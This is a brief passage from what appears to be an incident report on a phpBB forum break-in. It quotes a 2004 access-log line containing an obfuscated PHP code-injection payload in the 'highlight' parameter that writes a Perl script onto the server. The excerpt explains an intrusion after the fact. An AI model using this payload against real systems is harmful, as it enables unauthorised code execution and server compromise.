After some investigation, we determined that the attacker had gained
access via phpbb in a series of crafted URL requests, like so:
64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%252ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/